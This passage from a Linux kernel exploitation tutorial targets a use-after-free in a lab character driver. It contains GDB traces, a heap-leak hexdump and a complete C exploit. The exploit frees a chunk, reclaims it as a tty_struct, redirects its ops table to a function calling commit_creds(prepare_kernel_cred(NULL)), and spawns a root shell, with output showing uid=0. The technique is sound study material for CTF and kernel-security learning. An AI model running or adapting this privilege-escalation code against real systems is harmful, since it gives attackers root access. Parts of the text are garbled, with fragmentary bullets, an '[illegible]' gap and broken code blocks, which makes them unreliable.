      lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>, get_unmapped_area = 0x0 <irq_stack_union>, check_flags = 0x0 <irq_stack_union>,
      flock = 0xffffffff814cfd50 <pty_flush_buffer>, splice_write = 0x0 <irq_stack_union>, splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>,
      fallocate = 0x0 <irq_stack_union>, show_fdinfo = 0x0 <irq_stack_union>}
```

```
(gdb) c
Continuing.
```

```
Breakpoint 6, alloc_tty_struct (driver=0xffff88003666bec0, idx=15) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c:3142
```

```
3142      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or directory.
```

```
(gdb) c
Continuing.
```

```
Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
```

```
458      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or directory.
```

```
(gdb) c
Continuing.
```

```
Breakpoint 6, alloc_tty_struct (driver=0xffff88003666be00, idx=16) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c:3142
```

```
3142      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or directory.
```

```
(gdb) c
Continuing.
```

```
Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
```

```
458      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or directory.
```

```
(gdb) c
Continuing.
```

```
Breakpoint 6, alloc_tty_struct (driver=0xffff88003666bec0, idx=16) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c:3142
```

```
3142      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or directory.
```

```
(gdb) c
Continuing.
```

- UAF Kernel heap .

Memory leak

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-3
01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 | T
00 be 66 36 00 88 ff ff c0 13 87 81 ff ff ff ff | ?f6????????
0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 38 5c 9c 3a 00 88 ff ff | 8\?:???
38 5c 9c 3a 00 88 ff ff 48 5c 9c 3a 00 88 ff ff | 8\?:???H\?:???
48 5c 9c 3a 00 88 ff ff 60 97 5f 2c 00 88 ff ff | H\?:???`?_,???
01 00 00 00 00 00 00 00 68 5c 9c 3a 00 88 ff ff | h\?:???
68 5c 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00 | h\?:???
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |
90 5c 9c 3a 00 88 ff ff 90 5c 9c 3a 00 88 ff ff | ?\?:????\?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
01 00 00 00 00 00 00 00 b8 5c 9c 3a 00 88 ff ff | ?\?:???
b8 5c 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00 | ?\?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
e0 5c 9c 3a 00 88 ff ff e0 5c 9c 3a 00 88 ff ff | ?\?:????\?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
01 00 00 00 00 00 00 00 08 5d 9c 3a 00 88 ff ff | ]?:???
08 5d 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00 | ]?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 | ?
00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17 | ??
16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
70 74 6d 31 35 00 00 00 00 00 00 00 00 00 00 00 | ptm15
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 50 99 3a 00 88 ff ff | P?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 38 5e 9c 3a 00 88 ff ff | 8^?:???
38 5e 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00 | 8^?:???
50 5e 9c 3a 00 88 ff ff 50 5e 9c 3a 00 88 ff ff | P^?:???P^?:???
e0 ff ff ff 0f 00 00 00 68 5e 9c 3a 00 88 ff ff | ???h^?:???
68 5e 9c 3a 00 88 ff ff 20 51 4c 81 ff ff ff ff | h^?:??? QL????
00 40 22 01 00 c9 ff ff 98 5c 57 3b 00 88 ff ff | @"????\W:???
f0 14 c3 34 00 88 ff ff f0 14 c3 34 00 88 ff ff | ??4?????4???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00 | ????
c0 5e 9c 3a 00 88 ff ff c0 5e 9c 3a 00 88 ff ff | ?^?:????^?:???
10 6e 4c 81 ff ff ff ff 00 aa b9 0a 00 88 ff 00 | nL???????
??
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
```



Checking memory values in GDB

```
Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build
/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
458      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or
directory.
(gdb) x/736bx 0xffff88003a9c5c00
0xffff88003a9c5c00:      0x01      0x54      0x00      0x00      0x02      0x00
0x00      0x00
0xffff88003a9c5c08:      0x00      0x00      0x00      0x00      0x00      0x00
0x00      0x00
0xffff88003a9c5c10:      0x00      0xbe      0x66      0x36      0x00      0x88
0xff      0xff
0xffff88003a9c5c18:      0xc0      0x13      0x87      0x81      0xff      0xff
0xff      0xff
```

0xffff88003a9c5c20:	0x0f	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c28:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c30:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c38:	0x38	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c40:	0x38	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c48:	0x48	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c50:	0x48	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c58:	0x60	0x97	0x5f	0x2c	0x00	0x88
0xff 0xff						
0xffff88003a9c5c60:	0x01	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c68:	0x68	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c70:	0x68	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c78:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c80:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c88:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5c90:	0x90	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5c98:	0x90	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5ca0:	0x00	0x6e	0x3b	0x0e	0x00	0x88
0xff 0xff						
0xffff88003a9c5ca8:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5cb0:	0x01	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5cb8:	0xb8	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5cc0:	0xb8	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5cc8:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5cd0:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5cd8:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5ce0:	0xe0	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5ce8:	0xe0	0x5c	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5cf0:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5cf8:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5d00:	0x01	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5d08:	0x08	0x5d	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5d10:	0x08	0x5d	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5d18:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5d20:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5d28:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5d30:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5d38:	0x00	0x00	0x00	0x00	0x00	0x00

[illegible]

0xffff88003a9c5e58:	0x50	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5e60:	0xe0	0xff	0xff	0xff	0x0f	0x00
0x00 0x00						
0xffff88003a9c5e68:	0x68	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5e70:	0x68	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5e78:	0x20	0x51	0x4c	0x81	0xff	0xff
0xff 0xff						
0xffff88003a9c5e80:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5e88:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5e90:	0x90	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5e98:	0x90	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5ea0:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5ea8:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5eb0:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
0xffff88003a9c5eb8:	0xe0	0xff	0xff	0xff	0x0f	0x00
0x00 0x00						
0xffff88003a9c5ec0:	0xc0	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5ec8:	0xc0	0x5e	0x9c	0x3a	0x00	0x88
0xff 0xff						
0xffff88003a9c5ed0:	0x10	0x6e	0x4c	0x81	0xff	0xff
0xff 0xff						
0xffff88003a9c5ed8:	0x00	0x00	0x00	0x00	0x00	0x00
0x00 0x00						
(gdb)						

Exploit method

- ROP Exploit .

- UAF .
 - kmalloc() .
 - kfree() .
- User fork() .
 - fork() , struct cred UAF (?) .
- UAF struct cred .

- .

- "struct cred"

Size of "cred" structure

- "tty_struct" .

The size of the tty_struct structure

```
(gdb) p sizeof(struct tty_struct)
$1 = 736
(gdb)
```

Exploit code

exploit-3.c

```
//gcc -masm=intel -static -o exploit-3 exploit-3.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include "chardev.h"

#define DEVICE_FILE_NAME "/dev/chardev0"

void (*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
void *fake_tty_operations[30];

void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}

void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];

    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}

int main(){
    int i = 0, j;

    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
}
```

```

}

printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
printf("commit_creds = %p\n", commit_creds);

//Set the fake "tty_operations" structure.
for(i = 0; i < 30; i++)
{
    fake_tty_operations[i] = 0;
}

//Save the address of get_root() function in "tty_operations.unlocked_ioctl".
fake_tty_operations[12] = (size_t)get_root;

int fd1;
if ((fd1 = open(DEVICE_FILE_NAME, O_RDWR)) < 0){
    printf("Cannot open /dev/chardev0. Try again later.\n");
}

ioctl(fd1, KMALLOC, 0x2e0);
ioctl(fd1, KFREE);

int fd_tty;
if ((fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0){
    printf("Cannot open /dev/chardev0. Try again later.\n");
}

//Overwrite the address of the fake "file_operations" in the "tty_struct.ops".
size_t fake_tty_struct[4] = {0};
read(fd1, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd1, fake_tty_struct, 32);

//Call the ioctl(ioctl -> unlocked_ioctl -> get_root)
ioctl(fd_tty, 0, 0);

printf("getuid() = %d\n", getuid());
execl("/bin/sh", "sh", NULL);

if (close(fd1) != 0){
    printf("Cannot close.\n");
}

if (close(fd_tty) != 0){
    printf("Cannot close.\n");
}
return 0;
}

```

Get root!

```

lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-3
prepare_kernel_cred = 0xfffffffff8109da40
commit_creds = 0xfffffffff8109d760
getuid() = 0
# id
uid=0(root) gid=0(root) groups=0(root)
#

```

References

- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf/
- <https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver>
- <http://p4nda.top/2018/10/11/ciscn-2017-babydriver/>



Unknown macro: 'html'